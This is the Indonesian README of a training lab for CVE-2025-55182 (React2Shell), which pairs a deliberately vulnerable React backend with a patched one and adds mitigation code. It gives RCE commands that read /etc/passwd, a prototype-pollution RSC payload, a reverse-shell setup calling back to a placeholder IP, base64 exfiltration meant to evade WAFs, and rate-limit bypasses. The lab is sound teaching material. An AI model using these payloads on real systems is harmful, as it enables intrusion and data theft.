Lab demonstrasi lengkap kerentanan CVE-2025-55182 (React2Shell) - Critical Unauthenticated Remote Code Execution dalam React Server Components dengan 3 aplikasi web berbeda untuk pembelajaran security testing.
PERINGATAN: Lab ini hanya untuk tujuan edukasi dalam lingkungan terkontrol. Jangan gunakan di production atau sistem yang tidak Anda miliki.
Lab ini terdiri dari 3 aplikasi web yang berjalan di port berbeda:
- Website e-commerce dengan multiple vulnerabilities
- React Server Components 19.0.0 (CVE-2025-55182)
- IDOR, Parameter Pollution, JWT confusion
- Target utama untuk demo exploit
- Versi yang sudah di-patch dan di-hardening
- React 19.0.1 (patch CVE-2025-55182)
- Rate limiting, input validation, proper authorization
- Target untuk demo bahwa patch efektif
- Aplikasi Next.js modern untuk testing CVE
- Vulnerable Next.js version untuk research
- Optional: untuk advanced testing
react2shell-security-lab/
├── backend/ # [WEBSITE 1] Vulnerable Backend (Port 3001)
│ ├── src/
│ │ ├── server.js # Main server file
│ │ ├── routes/ # API routes
│ │ ├── middleware/ # Auth & validation
│ │ ├── database/ # In-memory DB
│ │ └── utils/ # Logger utilities
│ ├── public/ # Frontend HTML/CSS/JS
│ ├── package.json # Dependencies (React 19.0.0)
│ └── .env # Config (PORT=3001)
│
├── backend-lv-2/ # [WEBSITE 2] Secure Backend (Port 3002)
│ ├── src/ # Same structure, patched code
│ ├── public/ # Frontend files
│ ├── package.json # Dependencies (React 19.0.1)
│ ├── .env # Config (PORT=3002)
│ └── SECURITY_PATCHES.md # Documentation of all patches
│
├── CVE-2025-55182/ # [WEBSITE 3] Next.js Test Server
│ ├── test-server/ # Next.js application
│ │ ├── app/ # Next.js App Router
│ │ ├── package.json # Next.js 16.0.6
│ │ └── .env # Config (PORT=3000)
│ ├── poc.py # Python PoC exploit
│ └── README.md # CVE technical details
│
├── tools/ # Basic Exploit Tools
│ ├── rce-method1.sh # RCE Method 1
│ ├── rce-method2.sh # RCE Method 2
│ ├── rce-method3.sh # RCE Method 3
│ ├── scanner.sh # Vulnerability scanner
│ ├── reverse-shell.py # Reverse shell exploit
│ └── README.md # Tools documentation
│
├── tools-v2/ # Advanced Bypass Tools
│ ├── checkout-exploit.py # Command injection via checkout
│ ├── bypass-ratelimit.sh # Rate limit bypass techniques
│ ├── advanced-bypass.py # Advanced attack vectors
│ ├── comprehensive-scan.sh # Full security assessment
│ └── README.md # Advanced tools guide
│
└── README.md # This file
- Node.js 18+ atau 20+ (Download: https://nodejs.org/)
- Python 3.8+ (untuk exploit scripts)
- Terminal (PowerShell/WSL/Linux/Mac)
- Text Editor (VS Code recommended)
# Jika menggunakan git
git clone <repository-url>
cd react2shell-security-lab
# Atau extract ZIP file ke folder
cd react2shell-security-labcd backend
npm installVerifikasi instalasi:
npm list react react-dom react-server-dom-webpack
# Harus muncul versi 19.0.0cd ../backend-lv-2
npm installVerifikasi instalasi:
npm list react react-dom react-server-dom-webpack
# Harus muncul versi 19.0.1cd ../CVE-2025-55182/test-server
npm install# Di root directory
pip install requests
# atau
pip3 install requests# .gitignore sudah tersedia untuk semua directory
# Cek status git
git status
# File yang di-ignore:
# - node_modules/
# - .env files
# - *.log files
# - Exploit results (*.txt, *.html, *.json)
# - Python __pycache__/
# - IDE configs (.vscode/, .idea/)
# - OS files (.DS_Store, Thumbs.db)Important untuk Git:
- ✅ Source code di-commit
- ✅ README & documentation di-commit
- ✅ Package.json & dependencies list di-commit
- ❌ node_modules/ TIDAK di-commit (too large)
- ❌ .env files TIDAK di-commit (contains secrets)
- ❌ Exploit results TIDAK di-commit (temporary data)
- ❌ Log files TIDAK di-commit (runtime data)
cd backend
npm run vulnerable
# Server berjalan di http://localhost:3001Output yang diharapkan:
========================================
React2Shell Security Lab Backend
Mode: VULNERABLE
========================================
[INFO] Server running on port 3001
[VULN] VULNERABLE endpoints mounted (includes RSC endpoint)
Buka browser: http://localhost:3001
Test pages:
- Homepage:
http://localhost:3001/ - Login:
http://localhost:3001/login.html - Checkout:
http://localhost:3001/checkout.html
curl http://localhost:3001/api/healthResponse:
{
"status": "running",
"mode": "vulnerable",
"timestamp": "2026-01-03T..."
}cd tools
chmod +x rce-method1.sh
./rce-method1.sh http://localhost:3001 "whoami"Hasil yang diharapkan: Command berhasil dieksekusi, output muncul di terminal
cd tools
chmod +x scanner.sh
./scanner.sh http://localhost:3001Scanner akan detect:
- ✅ React version 19.0.0 (VULNERABLE)
- ✅ RSC endpoint accessible
- ✅ IDOR vulnerability present
- ✅ Parameter pollution possible
cd backend-lv-2
npm run start
# Server berjalan di http://localhost:3002Output yang diharapkan:
========================================
React2Shell Security Lab Backend
Mode: SECURE (LEVEL 2)
========================================
[INFO] Server running on port 3002
[INFO] Rate limiting enabled
[INFO] RSC endpoint blocked
curl http://localhost:3002/api/healthResponse:
{
"status": "running",
"mode": "secure",
"securityLevel": 2,
"timestamp": "2026-01-03T..."
}cd tools
./rce-method1.sh http://localhost:3002 "whoami"Hasil yang diharapkan:
❌ Exploit FAILED
Response: {"error":"Gone","message":"CVE-2025-55182: This endpoint has been removed for security"}
./scanner.sh http://localhost:3002Scanner akan detect:
- ✅ React version 19.0.1 (PATCHED)
- ❌ RSC endpoint blocked (410 Gone)
- ✅ Rate limiting active
- ✅ Authorization enforced
cd CVE-2025-55182/test-server
npm run dev
# Server berjalan di http://localhost:3000cd CVE-2025-55182
python3 poc.py http://localhost:3000GET /- Homepage (Portal berita e-commerce)GET /login.html- Login pageGET /checkout.html- Checkout/payment page
| Endpoint | Method | Purpose | Vulnerability |
|---|---|---|---|
/api/health |
GET | Health check | None |
/api/news |
GET | Fetch news | None |
/api/auth/login |
POST | Authentication | Weak JWT |
/api/checkout |
POST | Process payment | Input validation |
/api/users/profile?userId=X |
GET | Get profile | IDOR |
/api/users/profile?userId=X |
PUT | Update profile | Parameter Pollution |
/api/rsc |
POST | RSC endpoint | CVE-2025-55182 RCE |
Username: admin | Password: admin123 | Role: admin
Username: user1 | Password: password123 | Role: user
Username: user2 | Password: password456 | Role: user
Same endpoints, tetapi dengan protection:
- ✅ Rate limiting (5 login attempts / 15 min)
- ✅ Input validation & sanitization
- ✅ Proper authorization checks
- ✅ RSC endpoint completely blocked
- ✅ React 19.0.1 (patched version)
Modern Next.js application untuk advanced CVE testing.
cd tools
chmod +x rce-method1.sh
./rce-method1.sh http://localhost:3001 "id"
./rce-method1.sh http://localhost:3001 "whoami"
./rce-method1.sh http://localhost:3001 "cat /etc/passwd"./rce-method2.sh http://localhost:3001 "ls -la"./rce-method3.sh http://localhost:3001 "uname -a"chmod +x scanner.sh
./scanner.sh http://localhost:3001 # Scan vulnerable server
./scanner.sh http://localhost:3002 # Scan secure server (untuk compare)Scanner Output:
- Target information
- React version detection
- Vulnerable endpoints discovery
- Security assessment report
# Terminal 1 - Start netcat listener
nc -lvnp 4444
# Terminal 2 - Launch reverse shell exploit
python3 reverse-shell.py http://localhost:3001 <YOUR_IP> 4444Fitur:
- Automatic endpoint discovery (scraping, fuzzing, wordlist)
- Technology stack fingerprinting (React, Node.js versions)
- Library vulnerability detection (CVE scanning)
- Parameter discovery and fuzzing
- Basic RCE testing (command injection, code execution)
- Secondary RCE testing (log injection, SSRF, SSTI)
- Comprehensive HTML reporting
Usage:
cd tools-v2
# Full comprehensive scan (recommended)
python3 react2shell-scanner.py http://localhost:3001 --full
# Fast scan (basic checks only)
python3 react2shell-scanner.py http://localhost:3001 --fast
# Normal scan
python3 react2shell-scanner.py http://localhost:3001
# Scan with verbose output
python3 react2shell-scanner.py http://localhost:3001 --verbose
# Save report to specific file
python3 react2shell-scanner.py http://localhost:3001 --output report.htmlOutput:
- Detailed vulnerability report (HTML format)
- Endpoint discovery results
- React version detection
- CVE-2025-55182 detection status
- Exploitation proof-of-concepts
- Mitigation recommendations
Fitur: Exploit dengan data exfiltration via out-of-band channels
Usage:
# Basic usage
python3 rce-with-output.py http://localhost:3002
# Custom command
python3 rce-with-output.py http://localhost:3002 --command "cat /etc/passwd"Methods:
- Blind RCE (file creation)
- Output extraction to file
- Data exfiltration techniques
- /etc/passwd extraction
Fitur: Test exploitation tanpa melihat source code (black-box)
Usage:
# Test against target
python3 blind-test.py http://localhost:3001
# Test dengan echo marker validation
python3 blind-test.py http://localhost:3001 --validateTests:
- Basic connectivity
- Multiple RCE methods (Method 1-4)
- Echo marker detection
- Command execution validation
Fitur: Command injection via checkout/process endpoint
Usage:
# Test all injection methods
python3 checkout-exploit.py http://localhost:3002 -m all
# Execute specific command
python3 checkout-exploit.py http://localhost:3002 -c "whoami"
python3 checkout-exploit.py http://localhost:3002 -c "cat /etc/passwd"
# File exfiltration
python3 checkout-exploit.py http://localhost:3002 -c "ls -la /" --output results.txtInjection Points:
- Name field
- Address field
- Email field (limited)
- Card number field
Fitur: Test 7 different rate limit evasion techniques
Usage:
chmod +x bypass-ratelimit.sh
./bypass-ratelimit.sh http://localhost:3002
# Test specific endpoint
./bypass-ratelimit.sh http://localhost:3002 /api/auth/loginTests 7 bypass techniques:
- X-Forwarded-For header spoofing
- X-Real-IP manipulation
- X-Originating-IP bypass
- Client-IP header injection
- User-Agent rotation
- Multiple proxy headers
- Session manipulation
Output:
- Success/Fail status for each technique
- Request/Response details
- Bypass recommendations
Fitur: Test multiple advanced security vulnerabilities
Usage:
# Full advanced scan
python3 advanced-bypass.py http://localhost:3002
# Test specific vulnerability
python3 advanced-bypass.py http://localhost:3002 --test prototype
python3 advanced-bypass.py http://localhost:3002 --test ssrf
python3 advanced-bypass.py http://localhost:3002 --test sstiTests for:
- Prototype Pollution:
__proto__,constructor,prototype - JSON Injection: Malformed JSON, type confusion
- SSRF (Server-Side Request Forgery): Internal network access
- SSTI (Server-Side Template Injection): Template engine exploitation
- Type Confusion: JavaScript type coercion vulnerabilities
- XXE (XML External Entity): XML parsing vulnerabilities
- Path Traversal: Directory traversal attempts
Fitur: 8-phase automated security testing
Usage:
chmod +x comprehensive-scan.sh
./comprehensive-scan.sh http://localhost:3002
# With detailed report
./comprehensive-scan.sh http://localhost:3002 --verbose
# Export results to JSON
./comprehensive-scan.sh http://localhost:3002 --json report.json8-Phase Assessment:
- Reconnaissance: Port scanning, service detection
- Authentication Testing: Login bypass, credential stuffing
- Authorization Bypass: IDOR, privilege escalation
- Input Validation: XSS, SQLi, command injection
- Rate Limiting: Brute force protection testing
- CVE-2025-55182 Exploitation: Primary RCE testing
- Secondary Vulnerabilities: SSRF, XXE, LFI
- Report Generation: Detailed findings with PoCs
Fitur: Run semua scanner tools sekaligus dan aggregate results
Usage:
chmod +x run-all-scanners.sh
./run-all-scanners.sh http://localhost:3001
# With verbose output
./run-all-scanners.sh http://localhost:3001 --verboseRuns 7+ tools:
- Custom React2Shell Scanner (Primary)
- M4xSec Shell Scanner
- Sammwyy R2SAE Scanner
- Wi3memake Scanner
- Jedisct1 Advanced Exploit
- Hidden Investigations Scanner
- Dr4xp Simple Exploit
- External community tools
Output:
- Aggregated results in
scan-results-TIMESTAMP/folder - Individual tool outputs
- Comparison matrix
- Unified vulnerability report
Fitur: Quick 5-minute security assessment
Usage:
chmod +x quick-scan.sh
./quick-scan.sh http://localhost:3001Checks:
- React version
- RSC endpoint availability
- Basic RCE testing
- IDOR quick test
Fitur: Quick blind RCE test without output visibility
Usage:
chmod +x quick-blind-test.sh
./quick-blind-test.sh http://localhost:3001Tests:
- Blind command injection
- File creation validation
- Time-based detection
Tools-v2 include integrasi dengan berbagai security tools dari community:
- RSC_Detector/ - Browser Extension untuk detect React Server Components
- aditya-poc/ - Proof of Concept dari security researcher
- blacktech-shell/ - BlackTech reverse shell implementation
- dr4xp-exploit/ - Simple exploitation framework
- hidden-scanner/ - Hidden endpoint discovery tool
- jedisct1-exploit/ - Advanced exploit with WAF bypass
- m4xsec-shell/ - M4xSec exploitation suite
- sammwyy-r2sae/ - React2Shell Automated Exploitation
- wi3memake-scanner/ - Community scanner tool
cd tools-v2/external-tools
# Install all requirements
pip install -r all-requirements.txt
# Or install individually
pip install requests beautifulsoup4 urllib3 argparse1. RSC_Detector - Browser Extension
# Chrome/Edge Installation:
1. Open chrome://extensions/
2. Enable "Developer mode"
3. Click "Load unpacked"
4. Select tools-v2/external-tools/RSC_Detector/
5. Extension will detect RSC automatically when browsing
# Usage:
- Browse to target website
- Extension icon akan berubah warna jika detect RSC
- Click icon untuk detailed analysis2. M4xSec Shell
cd external-tools/m4xsec-shell
python3 CVE-2025-55182-exploit.py http://localhost:3001/api/rsc3. Sammwyy R2SAE (React2Shell Automated Exploitation)
cd external-tools/sammwyy-r2sae
python3 r2sae.py --target http://localhost:3001 --endpoint /api/rsc4. Wi3memake Scanner
cd external-tools/wi3memake-scanner
python3 react2shell.py http://localhost:3001/api/rsc5. Jedisct1 Advanced Exploit (WAF Bypass)
cd external-tools/jedisct1-exploit
python3 exploit.py --url http://localhost:3001/api/rsc --bypass-waf6. Hidden Investigations Scanner
cd external-tools/hidden-scanner
python3 react2shell-scanner.py -u http://localhost:3001 --full7. Dr4xp Simple Exploit
cd external-tools/dr4xp-exploit
python3 exploit.py -t http://localhost:3001/api/rsc -c "whoami"8. BlackTech Shell
cd external-tools/blacktech-shell
# Setup listener
nc -lvnp 4444
# Run exploit (terminal 2)
python3 reverse-shell.py http://localhost:3001/api/rsc YOUR_IP 4444Berdasarkan testing (EXTERNAL_TOOLS_TEST_RESULTS.md):
| Tool | Detection Rate | Endpoint Discovery | Speed | Recommendation |
|---|---|---|---|---|
| Custom React2Shell Scanner | ✅ 4/4 Critical | ✅ Auto (123 endpoints) | Fast | ⭐ PRIMARY TOOL |
| M4xSec Shell | ❌ 0/4 | ❌ Manual only | Fast | Not recommended |
| Sammwyy R2SAE | ❌ 0/4 | ❌ Manual only | Medium | Not recommended |
| Wi3memake Scanner | ❌ 0/4 | ❌ Manual only | Fast | Not recommended |
| Jedisct1 Exploit | ❌ 0/4 | ❌ Manual only | Slow | WAF bypass only |
| Hidden Scanner | ❌ 0/4 | Medium | Not recommended | |
| Dr4xp Exploit | ❌ Manual only | Fast | Backup tool | |
| BlackTech Shell | ❌ Manual | Medium | Post-exploit only |
Kesimpulan Testing:
- ✅ Use
react2shell-scanner.pyuntuk production scanning - ✅ External tools berguna untuk learning & research
- ❌ External tools GAGAL auto-detect pada blind testing
⚠️ External tools butuh manual endpoint specification
Why Custom Scanner Wins:
- ✅ Comprehensive endpoint discovery (auto-finds
/api/rsc) - ✅ Multiple payload variations (6 boundary types)
- ✅ Echo marker validation (reliable detection)
- ✅ Multi-method testing (POST/PUT/PATCH)
- ✅ Detailed HTML reports
# Step 1: Run comprehensive scanner
python3 react2shell-scanner.py http://localhost:3001 --full
# Step 2: Test rate limiting
./bypass-ratelimit.sh http://localhost:3001
# Step 3: Advanced attack vectors
python3 advanced-bypass.py http://localhost:3001
# Step 4: Generate full report
./comprehensive-scan.sh http://localhost:3001# Step 1: Quick scan
./quick-scan.sh http://localhost:3001
# Step 2: If vulnerable, test RCE
python3 rce-with-output.py http://localhost:3001
# Step 3: Validate with blind test
./quick-blind-test.sh http://localhost:3001# Run unified scanner
./run-all-scanners.sh http://localhost:3001
# Review results in scan-results-TIMESTAMP/ folder
cat scan-results-*/summary.txt# Step 1: Find RSC endpoint first
python3 react2shell-scanner.py http://localhost:3001 --fast
# Step 2: Test dengan external tool (jika RSC found)
cd external-tools/m4xsec-shell
python3 CVE-2025-55182-exploit.py http://localhost:3001/api/rsc
# Step 3: Compare results
cd ../..
./run-all-scanners.sh http://localhost:3001# Vulnerable server
curl http://localhost:3001/api/health
# Secure server
curl http://localhost:3002/api/health# Login sebagai user1
curl -X POST http://localhost:3001/api/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"user1","password":"password123"}'
# Response:
# {"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...","user":{...}}
# Simpan token untuk testing berikutnya
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."# User1 (userId=2) mencoba akses data User2 (userId=3)
curl -X GET "http://localhost:3001/api/users/profile?userId=3" \
-H "Authorization: Bearer $TOKEN"
# Pada vulnerable mode: ✅ BERHASIL (tidak ada authorization check)
# Pada secure mode: ❌ GAGAL (403 Forbidden)# Kirim multiple userId parameters
curl -X PUT "http://localhost:3001/api/users/profile?userId=2&userId=3" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"email":"hacked@attacker.com"}'
# Vulnerable mode: Update user3 profile (bypass authorization)
# Secure mode: Blocked by input validation# Method 1: Direct command execution
curl -X POST http://localhost:3001/api/rsc \
-H "Content-Type: text/plain" \
-d '{"then":"$1:__proto__:constructor:constructor"}
{"x":1}'
# Vulnerable server: RCE successful
# Secure server: 410 Gone (endpoint removed)# Try multiple rapid requests (secure server)
for i in {1..10}; do
curl -X POST http://localhost:3002/api/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"wrong"}' &
done
# After 5 attempts: "Too many login attempts, please try again later"Setup:
- Jalankan backend vulnerable (port 3001)
- Buka website di browser
Steps:
# 1. Cek health
curl http://localhost:3001/api/health
# 2. Login normal
curl -X POST http://localhost:3001/api/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"user1","password":"password123"}'
# 3. Run scanner
cd tools
./scanner.sh http://localhost:3001
# 4. Execute RCE
./rce-method1.sh http://localhost:3001 "whoami"
./rce-method1.sh http://localhost:3001 "id"
./rce-method1.sh http://localhost:3001 "cat /etc/passwd"
# 5. Show impact
./rce-method1.sh http://localhost:3001 "ls -la /"Key Points:
- Website terlihat normal, tapi vulnerable
- Tidak perlu login untuk RCE
- Command executed dengan privileges server
- Full system compromise possible
Setup:
- Jalankan KEDUA server (port 3001 & 3002)
- Siapkan 2 terminal windows
Steps:
Terminal 1 - Vulnerable (3001):
cd backend
npm run vulnerable
# Di terminal lain
cd tools
./scanner.sh http://localhost:3001
./rce-method1.sh http://localhost:3001 "whoami" # ✅ SUCCESSTerminal 2 - Secure (3002):
cd backend-lv-2
npm run start
# Di terminal lain
cd tools
./scanner.sh http://localhost:3002
./rce-method1.sh http://localhost:3002 "whoami" # ❌ BLOCKEDComparison Results:
| Feature | Vulnerable (3001) | Secure (3002) |
|-----------------------|-------------------|------------------|
| React Version | 19.0.0 | 19.0.1 |
| RSC Endpoint | ✅ Accessible | ❌ Blocked (410) |
| RCE Exploit | ✅ Success | ❌ Failed |
| Rate Limiting | ❌ None | ✅ Active |
| Input Validation | ⚠️ Weak | ✅ Strict |
| Authorization | ❌ Missing | ✅ Enforced |
Key Points:
- Patch React = Fix RCE
- Defense in depth: multiple protections
- Version management critical
Setup:
- Backend vulnerable running (3001)
- Postman atau cURL ready
Steps:
# 1. Login sebagai user1
curl -X POST http://localhost:3001/api/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"user1","password":"password123"}'
# Simpan token
TOKEN="<token_dari_response>"
# 2. Akses profile sendiri (user1 = userId 2)
curl -X GET "http://localhost:3001/api/users/profile?userId=2" \
-H "Authorization: Bearer $TOKEN"
# ✅ SUCCESS - Own data
# 3. IDOR: Akses profile user lain (user2 = userId 3)
curl -X GET "http://localhost:3001/api/users/profile?userId=3" \
-H "Authorization: Bearer $TOKEN"
# ✅ SUCCESS - Dapat akses data user lain! (VULNERABLE)
# 4. Parameter Pollution: Update profile user lain
curl -X PUT "http://localhost:3001/api/users/profile?userId=2&userId=3" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"email":"hacked@evil.com"}'
# ✅ SUCCESS - User3 email changed! (VULNERABLE)
# 5. Test pada secure server (port 3002)
curl -X GET "http://localhost:3002/api/users/profile?userId=3" \
-H "Authorization: Bearer $TOKEN"
# ❌ 403 Forbidden - Authorization check enforcedKey Points:
- Authentication ≠ Authorization
- IDOR = access control vulnerability
- Always validate user permissions
Setup:
- Backend vulnerable running
- 2 terminals ready
Steps:
Terminal 1 - Listener:
nc -lvnp 4444
# Waiting for connection...Terminal 2 - Exploit:
cd tools
python3 reverse-shell.py http://localhost:3001 <YOUR_IP> 4444Result:
- Shell connection established
- Interactive command execution
- Persistent access to server
Cleanup:
# Ctrl+C to close
# Restart server untuk cleanup# Check current version
npm list react react-dom react-server-dom-webpack
# Update to patched version
npm install react@19.0.1 react-dom@19.0.1 react-server-dom-webpack@19.0.1
# Or update to latest
npm update react react-dom react-server-dom-webpack// Block RSC endpoint
app.all('/api/rsc', (req, res) => {
res.status(410).json({
error: 'Gone',
message: 'This endpoint has been removed for security'
});
});const rateLimit = require('express-rate-limit');
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // Max 100 requests per window
message: 'Too many requests'
});
app.use('/api/', limiter);const { body, validationResult } = require('express-validator');
app.post('/api/checkout',
body('email').isEmail().normalizeEmail(),
body('name').trim().escape(),
(req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// Process checkout
}
);// Check user owns resource
function checkOwnership(req, res, next) {
const requestedUserId = parseInt(req.query.userId);
const tokenUserId = req.user.id;
if (requestedUserId !== tokenUserId && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Access denied' });
}
next();
}
app.get('/api/users/profile', authenticate, checkOwnership, ...);const helmet = require('helmet');
app.use(helmet());| Security Control | Level 1 (Vulnerable) | Level 2 (Secure) |
|---|---|---|
| React Version | 19.0.0 (RCE) | 19.0.1 (Patched) |
| RSC Endpoint | ✅ Active | ❌ Blocked (410) |
| Authorization | ❌ Missing | ✅ Enforced |
| Rate Limiting | ❌ None | ✅ Active (5/15min) |
| Input Validation | ✅ Strict (express-validator) | |
| IDOR Protection | ❌ None | ✅ User-based ACL |
| Parameter Validation | ✅ Single value enforcement | |
| JWT Validation | ✅ Algorithm whitelist | |
| Security Headers | ✅ Helmet enabled | |
| Body Size Limit | ❌ Unlimited | ✅ 10KB limit |
- CVE-2025-55182 Official: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
- React Security Advisory: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
- GitHub Security Advisory: https://github.com/advisories/GHSA-xzxx-xxxx-xxxx
- Google Threat Intelligence: https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182
- Wiz Research: https://www.wiz.io/blog/nextjs-cve-2025-55182-react2shell-deep-dive
- OWASP Top 10: https://owasp.org/www-project-top-ten/
- React Server Components: https://react.dev/reference/rsc/server-components
- Next.js Security: https://nextjs.org/docs/app/building-your-application/deploying/production-checklist
- Express.js Security Best Practices: https://expressjs.com/en/advanced/best-practice-security.html
- Educational purposes dalam lab environment
- Security research dengan proper authorization
- Training & certification practice
- Penetration testing dengan written permission
- Bug bounty programs (jika dalam scope)
- Attacking production systems tanpa izin
- Unauthorized access ke sistem orang lain
- Illegal activities atau cybercrime
- Distribusi malware atau malicious tools
- Violation of computer fraud laws
DISCLAIMER: Tools dan teknik dalam lab ini hanya untuk tujuan edukasi dan ethical hacking. Penyalahgunaan dapat melanggar:
- Computer Fraud and Abuse Act (CFAA) - USA
- Computer Misuse Act - UK
- UU ITE Pasal 30 & 46 - Indonesia
- Cybercrime laws di negara masing-masing
Pengguna bertanggung jawab penuh atas tindakan mereka. Penulis tidak bertanggung jawab atas penyalahgunaan.
# Clone repository
git clone <repo-url>
cd react2shell-security-lab
# Install semua dependencies
cd backend && npm install
cd ../backend-lv-2 && npm install
cd ../CVE-2025-55182/test-server && npm install
# Test semua server
cd ../../backend && npm run vulnerable # Test port 3001
cd ../backend-lv-2 && npm run start # Test port 3002
cd ../CVE-2025-55182/test-server && npm run dev # Test port 3000
# Test exploit tools
cd ../../tools
chmod +x *.sh
./scanner.sh http://localhost:3001
./rce-method1.sh http://localhost:3001 "whoami"# Cek IP address laptop
ipconfig # Windows
ifconfig # Linux/Mac
# Update IP di slide dan demo scripts
# Ganti localhost dengan IP laptop jika demo ke projector# Windows - Find and kill process
netstat -ano | findstr :3001
taskkill /PID <PID> /F
# Linux/Mac
lsof -ti:3001 | xargs kill -9# Clear cache
npm cache clean --force
# Delete node_modules and reinstall
rm -rf node_modules package-lock.json
npm install# Make scripts executable
chmod +x tools/*.sh
chmod +x tools-v2/*.shpip install --upgrade pip
pip install requests urllib3| Kriteria | Bobot | Deskripsi |
|---|---|---|
| Understanding | 30% | Pemahaman CVE-2025-55182 & impact |
| Exploitation | 30% | Berhasil exploit vulnerable server |
| Analysis | 20% | Analisis perbedaan vulnerable vs secure |
| Mitigation | 20% | Implementasi patch & security controls |
Error: Error: listen EADDRINUSE: address already in use :::3001
Solution:
# Windows
netstat -ano | findstr :3001
taskkill /PID <PID> /F
# Linux/Mac
lsof -ti:3001 | xargs kill -9Error: npm ERR! code ENOENT
Solution:
# Pastikan di directory yang benar
pwd # Linux/Mac
cd # Windows
# Clean install
rm -rf node_modules package-lock.json
npm cache clean --force
npm installError: bash: ./rce-method1.sh: Permission denied
Solution:
chmod +x tools/*.sh
chmod +x tools-v2/*.shError: ModuleNotFoundError: No module named 'requests'
Solution:
pip install requests
# atau
pip3 install requestsProblem: Website hanya accessible dari localhost
Solution:
# 1. Cek IP address
ipconfig # Windows
ifconfig # Linux/Mac
# 2. Update .env file
# Ganti localhost dengan 0.0.0.0
# 3. Allow firewall
# Windows: Allow Node.js in Windows Firewall
# Linux: sudo ufw allow 3001Expected: Ini normal behavior!
Explanation:
- Server level 2 sudah di-patch
- RSC endpoint di-block (410 Gone)
- React version updated ke 19.0.1
- Ini menunjukkan patch effectiveness
Error: {"error":"Invalid token"}
Solution:
# Login ulang untuk dapat token baru
curl -X POST http://localhost:3001/api/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"user1","password":"password123"}'Message: "Too many login attempts"
Solution:
- Wait 15 minutes
- Atau restart server untuk reset counter
- Ini adalah expected security feature
- OWASP Top 10: https://owasp.org/www-project-top-ten/
- OWASP API Security: https://owasp.org/www-project-api-security/
- PortSwigger Web Security Academy: https://portswigger.net/web-security
- HackTricks: https://book.hacktricks.xyz/
- React Server Components Explained
- CVE Analysis Walkthrough
- Penetration Testing Basics
- Secure Coding Practices
- HackTheBox
- TryHackMe
- PentesterLab
- OWASP WebGoat
- Burp Suite (Proxy & Scanner)
- OWASP ZAP (Web App Scanner)
- Postman (API Testing)
- Wireshark (Network Analysis)
This lab is created for educational purposes only.
Usage Terms:
- ✅ Education & training
- ✅ Security research (authorized)
- ✅ Personal learning
- ❌ Unauthorized attacks
- ❌ Illegal activities
- ❌ Production deployment
Created for:
- Webinar "React2Shell: Jebol Tanpa Login"
- Security awareness training
- Educational purposes
Special Thanks:
- React Security Team
- OWASP Community
- Security Researchers
- Open Source Contributors
Daftar LENGKAP semua istilah teknis yang digunakan dalam dokumentasi CVE-2025-55182 (27,000+ lines) dan React2Shell Security Lab
- KATEGORI A: CVE-2025-55182 Specific Terms
- KATEGORI B: General Web Security Terms
- KATEGORI C: React & Next.js Terms
- KATEGORI D: Exploitation Techniques
- KATEGORI E: Security Tools & Practices
- Definisi: Kemampuan attacker untuk execute code apapun yang diinginkan di target system
- Karakteristik:
- Tidak terbatas pada command tertentu atau fungsi spesifik
- Full control over execution environment
- Dapat execute system commands, load libraries, manipulate memory
- Contoh di Node.js:
Function("return process.mainModule.require('child_process').execSync('whoami')")()
- Impact CVE-2025-55182:
- Full system compromise
- Data exfiltration
- Lateral movement dalam network
- Backdoor installation
- Privilege escalation
- Kritikalitas: Highest severity vulnerability type (CVSS 9-10)
- Definisi: Architecture baru Next.js 13+ yang menggantikan Pages Router
- Karakteristik:
- Directory-based routing menggunakan folder
app/ - File conventions:
page.js,layout.js,loading.js,error.js - Default enable React Server Components - kunci vulnerability!
- Nested routing support dengan folder hierarchy
- Directory-based routing menggunakan folder
- Vulnerable context:
- Jika menggunakan React 18.x-19.0.0
- Server Components exposed via HTTP endpoints
- Automatic RSC payload handling
- File structure example:
app/ ├── page.js # Root page ├── layout.js # Root layout └── dashboard/ ├── page.js # /dashboard └── settings/ └── page.js # /dashboard/settings - Detection markers:
- Routes dalam
/_next/static/chunks/app/ - Response Content-Type:
text/x-component - Support untuk
Next-Actionheader
- Routes dalam
- Definisi: Teknik encoding binary data ke ASCII text format readable
- Algoritma: 6-bit groups converted to alphanumeric characters
- Character set:
A-Za-z0-9+/(64 chars) +=padding - Purpose dalam CVE-2025-55182:
- Exfiltrate command output dalam text-safe format
- Bypass WAF filters yang detect command strings
- Encode output dalam error.digest field untuk stealth
- Encoding example:
Buffer.from('whoami').toString('base64') // Output: d2hvYW1p
- Decoding example:
Buffer.from('d2hvYW1p', 'base64').toString() // Output: whoami
- Usage dalam exploitation:
const cmd = `cat /etc/passwd | base64`; // Output: Base64-encoded file content dalam response
- Detection: Look for long alphanumeric strings dengan
=padding dalam responses
- Definisi: Delimiter unik untuk separate parts dalam multipart/form-data HTTP request body
- Format standard:
------WebKitFormBoundary[random]- Prefix: Exactly 6 hyphens (
------) - Identifier:
WebKitFormBoundary(browser convention) - Random suffix: 16 hexadecimal characters
- Prefix: Exactly 6 hyphens (
- RFC 2046 Requirements:
- Maximum 70 characters length
- Valid characters: Alphanumeric dan
'()+_,-./:=? - No trailing whitespace
- Must not appear dalam actual content
- Generation methods:
# Method 1: Random hex boundary = '------WebKitFormBoundary' + secrets.token_hex(8) # Method 2: Timestamp-based boundary = '------WebKitFormBoundary' + str(int(time.time() * 1000)) # Method 3: Hash-based boundary = '------WebKitFormBoundary' + hashlib.md5(os.urandom(16)).hexdigest()
- Purpose dalam CVE: Separate chunks RSC payload dalam multipart request
- Example usage:
------WebKitFormBoundaryA1B2C3D4 Content-Disposition: form-data; name="0" {"then":"$1:__proto__:constructor:constructor"} ------WebKitFormBoundaryA1B2C3D4--
